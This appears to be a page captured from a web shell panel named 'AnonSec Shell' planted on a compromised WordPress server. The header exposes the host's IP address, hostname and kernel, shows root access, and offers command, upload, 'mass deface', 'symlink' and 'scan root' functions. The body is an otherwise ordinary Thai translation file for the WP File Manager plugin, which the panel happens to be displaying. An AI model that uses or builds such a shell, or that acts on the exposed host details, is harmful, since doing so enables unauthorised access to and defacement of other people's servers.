AnonSec Shell
Server IP : 172.67.157.199  /  Your IP : 18.191.240.184   [ Reverse IP ]
Web Server : Apache
System : Linux b70eb322-3aee-0c53-7c82-0db91281f2c6.secureserver.net 6.1.90-1.el9.elrepo.x86_64 #1 SMP PREEMPT_DYNAMIC Thu May 2 12:09:22 EDT 2024 x86_64
User : root ( 0)
PHP Version : 8.0.30.2
Disable Function : NONE
Domains : 0 Domains
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /var/chroot/var/www/wp-content/plugins/wp-file-manager/languages/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/chroot/var/www/wp-content/plugins/wp-file-manager/languages/wp-file-manager-th.po
msgid ""
msgstr ""
"Project-Id-Version: WP File Manager\n"
"Report-Msgid-Bugs-To: \n"
"POT-Creation-Date: 2022-02-28 12:14+0530\n"
"PO-Revision-Date: 2022-03-02 10:15+0530\n"
"Last-Translator: admin <[email protected]>\n"
"Language-Team: \n"
"Language: th\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"Plural-Forms: nplurals=1; plural=0;\n"
"X-Generator: Poedit 3.0.1\n"
"X-Poedit-KeywordsList: __;_e\n"
"X-Poedit-Basepath: ..\n"
"X-Poedit-SearchPath-0: .\n"

#: file_folder_manager.php:174
msgid "Themes backup restored successfully."
msgstr "สำรองข้อมูลธีมสำเร็จแล้ว"

#: file_folder_manager.php:177
msgid "Unable to restore themes."
msgstr "ไม่สามารถกู้คืนธีมได้"

#: file_folder_manager.php:207
msgid "Uploads backup restored successfully."
msgstr "กู้คืนข้อมูลสำรองการอัปโหลดสำเร็จแล้ว"

#: file_folder_manager.php:211
msgid "Unable to restore uploads."
msgstr "ไม่สามารถกู้คืนการอัปโหลด"

#: file_folder_manager.php:237
msgid "Others backup restored successfully."
msgstr "กู้คืนข้อมูลสำรองอื่นสำเร็จแล้ว"

#: file_folder_manager.php:241
msgid "Unable to restore others."
msgstr "ไม่สามารถกู้คืนผู้อื่นได้"

#: file_folder_manager.php:267
msgid "Plugins backup restored successfully."
msgstr "สำรองข้อมูลปลั๊กอินสำเร็จแล้ว"

#: file_folder_manager.php:271 file_folder_manager.php:301
msgid "Unable to restore plugins."
msgstr "ไม่สามารถกู้คืนปลั๊กอินได้"

#: file_folder_manager.php:286
msgid "Database backup restored successfully."
msgstr "กู้คืนการสำรองฐานข้อมูลเรียบร้อยแล้ว"

#: file_folder_manager.php:286 file_folder_manager.php:297 file_folder_manager.php:588 file_folder_manager.php:592
msgid "All Done"
msgstr "ทุกอย่างเสร็จเรียบร้อย"

#: file_folder_manager.php:289
msgid "Unable to restore DB backup."
msgstr "ไม่สามารถกู้คืนข้อมูลสำรอง DB"

#: file_folder_manager.php:347
msgid "Backups removed successfully!"
msgstr "ลบข้อมูลสำรองเรียบร้อยแล้ว!"

#: file_folder_manager.php:349
msgid "Unable to removed backup!"
msgstr "ลบข้อมูลสำรองไม่ได้!"

#: file_folder_manager.php:373
msgid "Database backup done on date "
msgstr "สำรองข้อมูลฐานข้อมูลเสร็จในวันที่ "

#: file_folder_manager.php:377
msgid "Plugins backup done on date "
msgstr "การสำรองข้อมูลปลั๊กอินเสร็จสิ้นในวันที่ "

#: file_folder_manager.php:381
msgid "Themes backup done on date "
msgstr "การสำรองข้อมูลธีมเสร็จสิ้นในวันที่ "

#: file_folder_manager.php:385
msgid "Uploads backup done on date "
msgstr "อัปโหลดการสำรองข้อมูลเสร็จสิ้นในวันที่ "

#: file_folder_manager.php:389
msgid "Others backup done on date "
msgstr "การสำรองข้อมูลอื่น ๆ เสร็จสิ้นในวันที่ "

#: file_folder_manager.php:393 file_folder_manager.php:776
msgid "Logs"
msgstr "บันทึก"

#: file_folder_manager.php:399
msgid "No logs found!"
msgstr "ไม่พบบันทึก!"

#: file_folder_manager.php:496
msgid "Nothing selected for backup"
msgstr "ไม่ได้เลือกอะไรไว้สำหรับการสำรองข้อมูล"

#: file_folder_manager.php:516
msgid "Security Issue."
msgstr "ปัญหาด้านความปลอดภัย"

#: file_folder_manager.php:527
msgid "Database backup done."
msgstr "สำรองข้อมูลฐานข้อมูลเรียบร้อยแล้ว"

#: file_folder_manager.php:530
msgid "Unable to create database backup."
msgstr "ไม่สามารถสร้างการสำรองฐานข้อมูล"

#: file_folder_manager.php:544
msgid "Plugins backup done."
msgstr "สำรองข้อมูลปลั๊กอินเสร็จแล้ว"

#: file_folder_manager.php:547
msgid "Plugins backup failed."
msgstr "การสำรองข้อมูลปลั๊กอินล้มเหลว"

#: file_folder_manager.php:556
msgid "Themes backup done."
msgstr "สำรองข้อมูลธีมเสร็จแล้ว"

#: file_folder_manager.php:559
msgid "Themes backup failed."
msgstr "การสำรองข้อมูลธีมล้มเหลว"

#: file_folder_manager.php:569
msgid "Uploads backup done."
msgstr "อัปโหลดสำรองข้อมูลเสร็จแล้ว"

#: file_folder_manager.php:572
msgid "Uploads backup failed."
msgstr "การสำรองข้อมูลการอัปโหลดล้มเหลว"

#: file_folder_manager.php:581
msgid "Others backup done."
msgstr "สำรองข้อมูลอื่นเสร็จแล้ว"

#: file_folder_manager.php:584
msgid "Others backup failed."
msgstr "การสำรองข้อมูลอื่นล้มเหลว"

#: file_folder_manager.php:761 file_folder_manager.php:762 lib/wpfilemanager.php:23
msgid "WP File Manager"
msgstr "ตัวจัดการไฟล์ WP"

#: file_folder_manager.php:769
msgid "Settings"
msgstr "การตั้งค่า"

#: file_folder_manager.php:771 inc/root.php:48
msgid "Preferences"
msgstr "การตั้งค่า"

#: file_folder_manager.php:773
msgid "System Properties"
msgstr "คุณสมบัติของระบบ"

#: file_folder_manager.php:775
msgid "Shortcode - PRO"
msgstr "รหัสย่อ - PRO"

#: file_folder_manager.php:777
msgid "Backup/Restore"
msgstr "สำรอง/กู้คืน"

#: file_folder_manager.php:1033
msgid "Buy Pro"
msgstr "ซื้อโปร"

#: file_folder_manager.php:1034
msgid "Donate"
msgstr "บริจาค"

#: file_folder_manager.php:1249
msgid ""
"<div class=\"updated settings-error notice is-dismissible\" id=\"setting-error-settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1256
msgid ""
"<div class=\"error settings-error notice is-dismissible\" id=\"setting-error-settings_updated\"> \n"
"<p><strong>"
msgstr ""

#: file_folder_manager.php:1395 file_folder_manager.php:1483
msgid "File doesn't exist to download."
msgstr "ไม่มีไฟล์ให้ดาวน์โหลด"

#: file_folder_manager.php:1400 file_folder_manager.php:1488
msgid "Invalid Security Code."
msgstr "รหัสความปลอดภัยไม่ถูกต้อง."

#: file_folder_manager.php:1405 file_folder_manager.php:1493
msgid "Missing backup id."
msgstr "ไม่มีรหัสสำรอง"

#: file_folder_manager.php:1408 file_folder_manager.php:1496
msgid "Missing parameter type."
msgstr "ไม่มีประเภทพารามิเตอร์"

#: file_folder_manager.php:1411 file_folder_manager.php:1499
msgid "Missing required parameters."
msgstr "ไม่มีพารามิเตอร์ที่จำเป็น"

#: inc/backup.php:24
msgid ""
"Error: Unable to restore backup because database backup is heavy in size. Please try to increase Maximum allowed size  from Preferences "
"settings."
msgstr "ข้อผิดพลาด: ไม่สามารถกู้คืนข้อมูลสำรองได้เนื่องจากการสำรองข้อมูลฐานข้อมูลมีขนาดใหญ่ โปรดลองเพิ่มขนาดสูงสุดที่อนุญาตจากการตั้งค่าการตั้งค่า"

#: inc/backup.php:25
msgid "Select backup(s) to delete!"
msgstr "เลือกข้อมูลสำรองที่จะลบ!"

#: inc/backup.php:26
msgid "Are you sure want to remove selected backup(s)?"
msgstr "คุณแน่ใจหรือไม่ว่าต้องการลบข้อมูลสำรองที่เลือก"

#: inc/backup.php:31
msgid "Backup is running, please wait"
msgstr "กำลังสำรองข้อมูล โปรดรอสักครู่"

#: inc/backup.php:32
msgid "Restore is running, please wait"
msgstr "กำลังดำเนินการกู้คืน โปรดรอสักครู่"

#: inc/backup.php:33
msgid "Nothing selected for backup."
msgstr "ไม่ได้เลือกอะไรไว้สำหรับการสำรองข้อมูล"

#: inc/backup.php:45
msgid "WP File Manager - Backup/Restore"
msgstr "WP File Manager - สำรอง/กู้คืน"

#: inc/backup.php:51
msgid "Backup Options:"
msgstr "ตัวเลือกการสำรองข้อมูล:"

#: inc/backup.php:58
msgid "Database Backup"
msgstr "สำรองฐานข้อมูล"

#: inc/backup.php:64
msgid "Files Backup"
msgstr "ไฟล์สำรอง"

#: inc/backup.php:68
msgid "Plugins"
msgstr "ปลั๊กอิน"

#: inc/backup.php:71
msgid "Themes"
msgstr "ธีม"

#: inc/backup.php:74
msgid "Uploads"
msgstr "อัพโหลด"

#: inc/backup.php:77
msgid "Others (Any other directories found inside wp-content)"
msgstr "อื่น ๆ (ไดเร็กทอรีอื่น ๆ ที่พบใน wp-content)"

#: inc/backup.php:81
msgid "Backup Now"
msgstr "การสำรองข้อมูลในขณะนี้"

#: inc/backup.php:89
msgid "Time now"
msgstr "เวลาในขณะนี้"

#: inc/backup.php:99
msgid "SUCCESS"
msgstr "ความสำเร็จ"

#: inc/backup.php:101
msgid "Backup successfully deleted."
msgstr "ลบข้อมูลสำรองเรียบร้อยแล้ว"

#: inc/backup.php:102
msgid "Ok"
msgstr "ตกลง"

#: inc/backup.php:117
msgid "DELETE FILES"
msgstr "ลบไฟล์"

#: inc/backup.php:119
msgid "Are you sure you want to delete this backup?"
msgstr "คุณแน่ใจหรือไม่ว่าต้องการลบข้อมูลสำรองนี้"

#: inc/backup.php:120 inc/backup.php:139
msgid "Cancel"
msgstr "ยกเลิก"

#: inc/backup.php:121 inc/backup.php:140
msgid "Confirm"
msgstr "ยืนยัน"

#: inc/backup.php:136
msgid "RESTORE FILES"
msgstr "กู้คืนไฟล์"

#: inc/backup.php:138
msgid "Are you sure you want to restore this backup?"
msgstr "คุณแน่ใจหรือไม่ว่าต้องการคืนค่าข้อมูลสำรองนี้"

#: inc/backup.php:166
msgid "Last Log Message"
msgstr "ข้อความบันทึกล่าสุด"

#: inc/backup.php:169
msgid "The backup apparently succeeded and is now complete."
msgstr "เห็นได้ชัดว่าการสำรองข้อมูลสำเร็จและตอนนี้เสร็จสมบูรณ์แล้ว"

#: inc/backup.php:171
msgid "No log message"
msgstr "ไม่มีข้อความบันทึก"

#: inc/backup.php:177
msgid "Existing Backup(s)"
msgstr "ข้อมูลสำรองที่มีอยู่"

#: inc/backup.php:184
msgid "Backup Date"
msgstr "วันที่สำรอง"

#: inc/backup.php:187
msgid "Backup data (click to download)"
msgstr "สำรองข้อมูล (คลิกเพื่อดาวน์โหลด)"

#: inc/backup.php:190
msgid "Action"
msgstr "หนังบู๊"

#: inc/backup.php:210
msgid "Today"
msgstr "วันนี้"

#: inc/backup.php:239
msgid "Restore"
msgstr "คืนค่า"

#: inc/backup.php:240 inc/backup.php:250
msgid "Delete"
msgstr "ลบ"

#: inc/backup.php:241
msgid "View Log"
msgstr "ดูบันทึก"

#: inc/backup.php:246
msgid "Currently no backup(s) found."
msgstr "ไม่พบข้อมูลสำรองในขณะนี้"

#: inc/backup.php:249
msgid "Actions upon selected backup(s)"
msgstr "การดำเนินการกับข้อมูลสำรองที่เลือก"

#: inc/backup.php:251
msgid "Select All"
msgstr "เลือกทั้งหมด"

#: inc/backup.php:252
msgid "Deselect"
msgstr "ยกเลิกการเลือก"

#: inc/backup.php:254
msgid "Note:"
msgstr "บันทึก:"

#: inc/backup.php:254
msgid "Backup files will be under"
msgstr "ไฟล์สำรองจะอยู่ภายใต้"

#: inc/contribute.php:3
msgid "WP File Manager Contribution"
msgstr "การสนับสนุนตัวจัดการไฟล์ WP"

#: inc/logs.php:7
msgid "Note: These are demo screenshots. Please buy File Manager pro to Logs functions."
msgstr "หมายเหตุ: นี่เป็นภาพหน้าจอสาธิต โปรดซื้อฟังก์ชัน File Manager pro to Logs"

#: inc/logs.php:8 lib/wpfilemanager.php:24
msgid "Click to Buy PRO"
msgstr "คลิกเพื่อซื้อ PRO"

#: inc/logs.php:8 inc/settings.php:12 inc/settings.php:27 inc/system_properties.php:5 lib/wpfilemanager.php:25
msgid "Buy PRO"
msgstr "ซื้อโปร"

#: inc/logs.php:9
msgid "Edit Files Logs"
msgstr "แก้ไขไฟล์บันทึก"

#: inc/logs.php:11
msgid "Download Files Logs"
msgstr "ดาวน์โหลดไฟล์บันทึก"

#: inc/logs.php:13
msgid "Upload Files Logs"
msgstr "อัปโหลดไฟล์บันทึก"

#: inc/root.php:43
msgid "Settings saved."
msgstr "การตั้งค่าที่บันทึกไว้."

#: inc/root.php:43 inc/root.php:46
msgid "Dismiss this notice."
msgstr "ปิดประกาศนี้"

#: inc/root.php:46
msgid "You have not made any changes to be saved."
msgstr "คุณยังไม่ได้ทำการเปลี่ยนแปลงใด ๆ เพื่อบันทึก"

#: inc/root.php:55
msgid "Public Root Path"
msgstr "เส้นทางรูตสาธารณะ"

#: inc/root.php:58
msgid "File Manager Root Path, you can change according to your choice."
msgstr "File Manager Root Path คุณสามารถเปลี่ยนได้ตามต้องการ"

#: inc/root.php:59
msgid "Default:"
msgstr "ค่าเริ่มต้น:"

#: inc/root.php:60
msgid "Please change this carefully, wrong path can lead file manager plugin to go down."
msgstr "โปรดเปลี่ยนอย่างระมัดระวัง เส้นทางที่ไม่ถูกต้องอาจทำให้ปลั๊กอินตัวจัดการไฟล์หยุดทำงาน"

#: inc/root.php:64
msgid "Enable Trash?"
msgstr "เปิดใช้งานถังขยะหรือไม่"

#: inc/root.php:67
msgid "After enable trash, your files will go to trash folder."
msgstr "หลังจากเปิดใช้งานถังขยะ ไฟล์ของคุณจะไปที่โฟลเดอร์ถังขยะ"

#: inc/root.php:72
msgid "Enable Files Upload to Media Library?"
msgstr "เปิดใช้งานการอัปโหลดไฟล์ไปยัง Media Library หรือไม่"

#: inc/root.php:75
msgid "After enabling this all files will go to media library."
msgstr "หลังจากเปิดใช้งานนี้ ไฟล์ทั้งหมดจะไปที่ไลบรารีสื่อ"

#: inc/root.php:80
msgid "Maximum allowed size at the time of database backup restore."
msgstr "ขนาดสูงสุดที่อนุญาตในขณะที่กู้คืนการสำรองฐานข้อมูล"

#: inc/root.php:83
msgid "MB"
msgstr ""

#: inc/root.php:85
msgid "Please increase field value if you are getting error message at the time of backup restore."
msgstr "โปรดเพิ่มค่าฟิลด์หากคุณได้รับข้อความแสดงข้อผิดพลาดในขณะที่กู้คืนข้อมูลสำรอง"

#: inc/root.php:90
msgid "Save Changes"
msgstr "บันทึกการเปลี่ยนแปลง"

#: inc/settings.php:10
msgid "Settings - General"
msgstr "การตั้งค่า - ทั่วไป"

#: inc/settings.php:11 inc/settings.php:26
msgid "Note: This is just a demo screenshot. To get settings please buy our pro version."
msgstr "หมายเหตุ: นี่เป็นเพียงภาพหน้าจอสาธิตเท่านั้น หากต้องการตั้งค่าโปรดซื้อเวอร์ชัน Pro ของเรา"

#: inc/settings.php:13
msgid ""
"Here admin can give access to user roles to use filemanager. Admin can set Default Access Folder and also control upload size of "
"filemanager."
msgstr "ที่นี่ผู้ดูแลระบบสามารถให้สิทธิ์การเข้าถึงบทบาทผู้ใช้เพื่อใช้ filemanager ผู้ดูแลระบบสามารถตั้งค่าโฟลเดอร์การเข้าถึงข้อมูลเริ่มต้นและควบคุมขนาดการอัพโหลดไฟล์ได้"

#: inc/settings.php:15
msgid "Settings - Code-editor"
msgstr "การตั้งค่า - Code-editor"

#: inc/settings.php:16
msgid ""
"File Manager has a code editor with multiple themes. You can select any theme for code editor. It will display when you edit any file. "
"Also you can allow fullscreen mode of code editor."
msgstr ""
"ตัวจัดการไฟล์มีตัวแก้ไขโค้ดที่มีหลายธีม คุณสามารถเลือกธีมสำหรับโปรแกรมแก้ไขโค้ดได้ จะปรากฏขึ้นเมื่อคุณแก้ไขไฟล์ใด ๆ "
"นอกจากนี้คุณสามารถอนุญาตให้ใช้โหมดเต็มหน้าจอของตัวแก้ไขโค้ด"

#: inc/settings.php:18
msgid "Code-editor View"
msgstr "มุมมองตัวแก้ไขโค้ด"

#: inc/settings.php:20
msgid "Settings - User Restrictions"
msgstr "การตั้งค่า - ข้อ จำกัด ของผู้ใช้"

#: inc/settings.php:21
msgid ""
"Admin can restrict actions of any user. Also hide files and folders and can set different - different folders paths for different users."
msgstr "ผู้ดูแลระบบสามารถ จำกัด การดำเนินการของผู้ใช้รายใดก็ได้ ซ่อนไฟล์และโฟลเดอร์และสามารถตั้งค่าเส้นทางโฟลเดอร์ที่แตกต่างกันไปสำหรับผู้ใช้ที่แตกต่างกัน"

#: inc/settings.php:23
msgid "Settings - User Role Restrictions"
msgstr "การตั้งค่า - ข้อ จำกัด บทบาทของผู้ใช้"

#: inc/settings.php:24
msgid ""
"Admin can restrict actions of any userrole. Also hide files and folders and can set different - different folders paths for different "
"users roles."
msgstr "ผู้ดูแลระบบสามารถ จำกัด การดำเนินการของ userrol ใดก็ได้ ซ่อนไฟล์และโฟลเดอร์และสามารถตั้งค่าเส้นทางโฟลเดอร์ที่ต่างกันสำหรับบทบาทผู้ใช้ที่แตกต่างกัน"

#: inc/shortcode_docs.php:11
msgid "File Manager - Shortcode"
msgstr "ตัวจัดการไฟล์ - รหัสย่อ"

#: inc/shortcode_docs.php:15 inc/shortcode_docs.php:17 inc/shortcode_docs.php:19
msgid "USE:"
msgstr "ใช้:"

#: inc/shortcode_docs.php:15
msgid ""
"It will show file manager on front end. You can control all settings from file manager settings. It will work same as backend WP File "
"Manager."
msgstr "มันจะแสดงตัวจัดการไฟล์ที่ส่วนหน้า คุณสามารถควบคุมการตั้งค่าทั้งหมดได้จากการตั้งค่าตัวจัดการไฟล์ มันจะทำงานเหมือนกับตัวจัดการไฟล์ WP แบ็กเอนด์"

#: inc/shortcode_docs.php:17
msgid "It will show file manager on front end. But only Administrator can access it and will control from file manager settings."
msgstr "มันจะแสดงตัวจัดการไฟล์ที่ส่วนหน้า แต่มีเพียงผู้ดูแลระบบเท่านั้นที่สามารถเข้าถึงได้และจะควบคุมจากการตั้งค่าตัวจัดการไฟล์"

#: inc/shortcode_docs.php:23
msgid "Parameters:"
msgstr "พารามิเตอร์:"

#: inc/shortcode_docs.php:26
msgid ""
"It will allow all roles to access file manager on front end or You can simple use for particular user roles as like allowed_roles="
"\"editor,author\" (seprated by comma(,))"
msgstr ""
"จะอนุญาตให้ทุกบทบาทเข้าถึงตัวจัดการไฟล์ที่ส่วนหน้าหรือคุณสามารถใช้อย่างง่ายสำหรับบทบาทของผู้ใช้โดยเฉพาะเช่น allowed_roles=\"editor,author"
"\" (คั่นด้วยเครื่องหมายจุลภาค (,))"

#: inc/shortcode_docs.php:28
msgid ""
"Here \"test\" is the name of folder which is located on root directory, or you can give path for sub folders as like \"wp-content/plugins"
"\". If leave blank or empty it will access all folders on root directory. Default: Root directory"
msgstr ""
"ที่นี่ \"test\" คือชื่อโฟลเดอร์ที่อยู่บนไดเร็กทอรี root หรือคุณสามารถกำหนดเส้นทางสำหรับโฟลเดอร์ย่อยได้ เช่น \"wp-content/plugins\" หากปล่อยว่างหรือว่างไว้ "
"ระบบจะเข้าถึงโฟลเดอร์ทั้งหมดในไดเร็กทอรีราก ค่าเริ่มต้น: ไดเรกทอรีราก"

#: inc/shortcode_docs.php:30
msgid "for access to write files permissions, note: true/false, default: false"
msgstr "สำหรับการเข้าถึงสิทธิ์ในการเขียนไฟล์ หมายเหตุ: true/false, default: false"

#: inc/shortcode_docs.php:32
msgid "for access to read files permission, note: true/false, default: true"
msgstr "สำหรับการเข้าถึงเพื่ออ่านสิทธิ์ในการอ่านไฟล์ หมายเหตุ: จริง/เท็จ ค่าเริ่มต้น: true"

#: inc/shortcode_docs.php:34
msgid "it will hide mentioned here. Note: seprated by comma(,). Default: Null"
msgstr "มันจะซ่อนกล่าวถึงที่นี่ หมายเหตุ: คั่นด้วยเครื่องหมายจุลภาค (,) ค่าเริ่มต้น: Null"

#: inc/shortcode_docs.php:36
msgid "It will lock mentioned in commas. you can lock more as like \".php,.css,.js\" etc. Default: Null"
msgstr "มันจะล็อคที่กล่าวถึงในเครื่องหมายจุลภาค คุณสามารถล็อกได้มากขึ้นเช่น \".php,.css,.js\" เป็นต้น ค่าเริ่มต้น: Null"

#: inc/shortcode_docs.php:38
msgid ""
"* for all operations and to allow some operation you can mention operation name as like, allowed_operations=\"upload,download\". Note: "
"seprated by comma(,). Default: *"
msgstr ""
"* สำหรับการดำเนินการทั้งหมดและเพื่ออนุญาตให้ดำเนินการบางอย่าง คุณสามารถระบุชื่อการดำเนินการได้ เช่น allowed_operations=\"upload,download\" หมายเหตุ: "
"คั่นด้วยเครื่องหมายจุลภาค (,) ค่าเริ่มต้น: *"

#: inc/shortcode_docs.php:42
msgid "File Operations List:"
msgstr "รายการการทำงานของไฟล์:"

#: inc/shortcode_docs.php:46
msgid "mkdir ->"
msgstr ""

#: inc/shortcode_docs.php:46
msgid "Make directory or folder"
msgstr "สร้างไดเร็กทอรีหรือโฟลเดอร์"

#: inc/shortcode_docs.php:47
msgid "mkfile ->"
msgstr ""

#: inc/shortcode_docs.php:47
msgid "Make file"
msgstr "ทำไฟล์"

#: inc/shortcode_docs.php:48
msgid "rename ->"
msgstr ""

#: inc/shortcode_docs.php:48
msgid "Rename a file or folder"
msgstr "เปลี่ยนชื่อไฟล์หรือโฟลเดอร์"

#: inc/shortcode_docs.php:49
msgid "duplicate ->"
msgstr ""

#: inc/shortcode_docs.php:49
msgid "Duplicate or clone a folder or file"
msgstr "ทำซ้ำหรือโคลนโฟลเดอร์หรือไฟล์"

#: inc/shortcode_docs.php:50
msgid "paste ->"
msgstr ""

#: inc/shortcode_docs.php:50
msgid "Paste a file or folder"
msgstr "วางไฟล์หรือโฟลเดอร์"

#: inc/shortcode_docs.php:51
msgid "ban ->"
msgstr ""

#: inc/shortcode_docs.php:51
msgid "Ban"
msgstr "ห้าม"

#: inc/shortcode_docs.php:52
msgid "archive ->"
msgstr ""

#: inc/shortcode_docs.php:52
msgid "To make a archive or zip"
msgstr "ในการสร้างไฟล์เก็บถาวรหรือ zip"

#: inc/shortcode_docs.php:53
msgid "extract ->"
msgstr ""

#: inc/shortcode_docs.php:53
msgid "Extract archive or zipped file"
msgstr "แตกไฟล์เก็บถาวรหรือไฟล์ซิป"

#: inc/shortcode_docs.php:54
msgid "copy ->"
msgstr ""

#: inc/shortcode_docs.php:54
msgid "Copy files or folders"
msgstr "คัดลอกไฟล์หรือโฟลเดอร์"

#: inc/shortcode_docs.php:58
msgid "cut ->"
msgstr ""

#: inc/shortcode_docs.php:58
msgid "Simple cut a file or folder"
msgstr "ตัดไฟล์หรือโฟลเดอร์อย่างง่าย"

#: inc/shortcode_docs.php:59
msgid "edit ->"
msgstr ""

#: inc/shortcode_docs.php:59
msgid "Edit a file"
msgstr "แก้ไขไฟล์"

#: inc/shortcode_docs.php:60
msgid "rm ->"
msgstr ""

#: inc/shortcode_docs.php:60
msgid "Remove or delete files and folders"
msgstr "ลบหรือลบไฟล์และโฟลเดอร์"

#: inc/shortcode_docs.php:61
msgid "download ->"
msgstr ""

#: inc/shortcode_docs.php:61
msgid "Download files"
msgstr "ดาวน์โหลดไฟล์"

#: inc/shortcode_docs.php:62
msgid "upload ->"
msgstr ""

#: inc/shortcode_docs.php:62
msgid "Upload files"
msgstr "อัพโหลดไฟล์"

#: inc/shortcode_docs.php:63
msgid "search -> "
msgstr ""

#: inc/shortcode_docs.php:63
msgid "Search things"
msgstr "ค้นหาสิ่งของ"

#: inc/shortcode_docs.php:64
msgid "info ->"
msgstr ""

#: inc/shortcode_docs.php:64
msgid "Info of file"
msgstr "ข้อมูลของไฟล์"

#: inc/shortcode_docs.php:65
msgid "help ->"
msgstr ""

#: inc/shortcode_docs.php:65
msgid "Help"
msgstr "ช่วยด้วย"

#: inc/shortcode_docs.php:71
msgid ""
"->  It will ban particular users by just putting their ids seprated by commas(,). If user is Ban then they will not able to access wp "
"file manager on front end."
msgstr "-> มันจะแบนผู้ใช้บางคนโดยเพียงแค่ใส่รหัสของพวกเขาคั่นด้วยเครื่องหมายจุลภาค (,) หากผู้ใช้ถูกแบน พวกเขาจะเข้าถึงตัวจัดการไฟล์ wp ที่ส่วนหน้าไม่ได้"

#: inc/shortcode_docs.php:72
msgid "-> Filemanager UI View. Default: grid"
msgstr "-> มุมมอง UI ตัวจัดการไฟล์ ค่าเริ่มต้น: grid"

#: inc/shortcode_docs.php:73
msgid "-> File Modified or Create date format. Default: d M, Y h:i A"
msgstr "-> ไฟล์ที่แก้ไขหรือสร้างรูปแบบวันที่ ค่าเริ่มต้น: d M, Y h:i A"

#: inc/shortcode_docs.php:74
msgid "-> File manager Language. Default: English(en)"
msgstr "-> ภาษาของตัวจัดการไฟล์ ค่าเริ่มต้น: English(en)"

#: inc/shortcode_docs.php:75
msgid "-> File Manager Theme. Default: Light"
msgstr "-> ภาษาของตัวจัดการไฟล์ ค่าเริ่มต้น: English(en)"

#: inc/system_properties.php:5
msgid "File Manager - System Properties"
msgstr "ตัวจัดการไฟล์ - คุณสมบัติของระบบ"

#: inc/system_properties.php:10
msgid "PHP version"
msgstr "เวอร์ชัน PHP"

#: inc/system_properties.php:15
msgid "Maximum file upload size (upload_max_filesize)"
msgstr "ขนาดการอัปโหลดไฟล์สูงสุด (upload_max_filesize)"

#: inc/system_properties.php:20
msgid "Post maximum file upload size (post_max_size)"
msgstr "ขนาดไฟล์อัพโหลดสูงสุด (post_max_size)"

#: inc/system_properties.php:25
msgid "Memory Limit (memory_limit)"
msgstr "หน่วยความจำ จำกัด (memory_limit)"

#: inc/system_properties.php:30
msgid "Timeout (max_execution_time)"
msgstr "หมดเวลา (max_execution_time)"

#: inc/system_properties.php:35
msgid "Browser and OS (HTTP_USER_AGENT)"
msgstr "เบราว์เซอร์และระบบปฏิบัติการ (HTTP_USER_AGENT)"

#: lib/jquery/jquery-ui-1.11.4.js:8
msgid "'"
msgstr ""

#: lib/wpfilemanager.php:31
msgid "Change Theme Here:"
msgstr "เปลี่ยนธีมที่นี่:"

#: lib/wpfilemanager.php:35
msgid "Default"
msgstr "ค่าเริ่มต้น"

#: lib/wpfilemanager.php:39
msgid "Dark"
msgstr "มืด"

#: lib/wpfilemanager.php:43
msgid "Light"
msgstr "เบา"

#: lib/wpfilemanager.php:47
msgid "Gray"
msgstr "สีเทา"

#: lib/wpfilemanager.php:52
msgid "Windows - 10"
msgstr ""

#: lib/wpfilemanager.php:85
msgid "Welcome to File Manager"
msgstr "ยินดีต้อนรับสู่ตัวจัดการไฟล์"

#: lib/wpfilemanager.php:88
msgid ""
"We love making new friends! Subscribe below and we promise to\n"
"    keep you up-to-date with our latest new plugins, updates,\n"
"    awesome deals and a few special offers."
msgstr ""
"เราชอบหาเพื่อนใหม่! สมัครสมาชิกด้านล่างและเราสัญญาว่าจะ\n"
"    แจ้งให้คุณทราบเกี่ยวกับปลั๊กอิน อัปเดต ใหม่ล่าสุดของเรา\n"
"    ข้อเสนอสุดพิเศษและข้อเสนอพิเศษไม่กี่อย่าง"

#: lib/wpfilemanager.php:99
msgid "Please Enter First Name."
msgstr "กรุณาใส่ชื่อ."

#: lib/wpfilemanager.php:107
msgid "Please Enter Last Name."
msgstr "กรุณาใส่นามสกุล"

#: lib/wpfilemanager.php:116
msgid "Please Enter Email Address."
msgstr "กรุณากรอกอีเมล์"

#: lib/wpfilemanager.php:120
msgid "Verify"
msgstr "ยืนยัน"

#: lib/wpfilemanager.php:126
msgid "No Thanks"
msgstr "ไม่เป็นไรขอบคุณ"

#: lib/wpfilemanager.php:132
msgid "Terms of Service"
msgstr "เงื่อนไขการให้บริการ"

#: lib/wpfilemanager.php:134
msgid "Privacy Policy"
msgstr "นโยบายความเป็นส่วนตัว"

#: lib/wpfilemanager.php:153
msgid "Saving..."
msgstr "ประหยัด..."

#: lib/wpfilemanager.php:155
msgid "OK"
msgstr "ตกลง"

#~ msgid "Backup not found!"
#~ msgstr "ไม่พบข้อมูลสำรอง!"

#~ msgid "Backup removed successfully!"
#~ msgstr "ลบข้อมูลสำรองเรียบร้อยแล้ว!"

#~ msgid "<span class=\"fm_console_error\">Nothing selected for backup</span>"
#~ msgstr "<span class=\"fm_console_error\">ไม่ได้เลือกไว้สำหรับการสำรองข้อมูล</span>"

#~ msgid "<span class=\"fm_console_error\">Security Issue.</span>"
#~ msgstr "<span class=\"fm_console_error\">ปัญหาด้านความปลอดภัย</span>"

#~ msgid "<span class=\"fm_console_success\">Database backup done.</span>"
#~ msgstr "<span class=\"fm_console_success\">สำรองข้อมูลฐานข้อมูลเรียบร้อยแล้ว</span>"

#~ msgid "<span class=\"fm_console_error\">Unable to create database backup.</span>"
#~ msgstr "<span class=\"fm_console_error\">สร้างการสำรองฐานข้อมูลไม่ได้</span>"

#~ msgid "<span class=\"fm_console_success\">Plugins backup done.</span>"
#~ msgstr "<span class=\"fm_console_success\">สำรองข้อมูลปลั๊กอินเสร็จแล้ว</span>"

#~ msgid "<span class=\"fm_console_error\">Plugins backup failed.</span>"
#~ msgstr "<span class=\"fm_console_error\">การสำรองข้อมูลปลั๊กอินล้มเหลว</span>"

#~ msgid "<span class=\"fm_console_success\">Themes backup done.</span>"
#~ msgstr "<span class=\"fm_console_success\">สำรองข้อมูลธีมเสร็จแล้ว</span>"

#~ msgid "<span class=\"fm_console_error\">Themes backup failed.</span>"
#~ msgstr "<span class=\"fm_console_error\">การสำรองข้อมูลธีมล้มเหลว</span>"

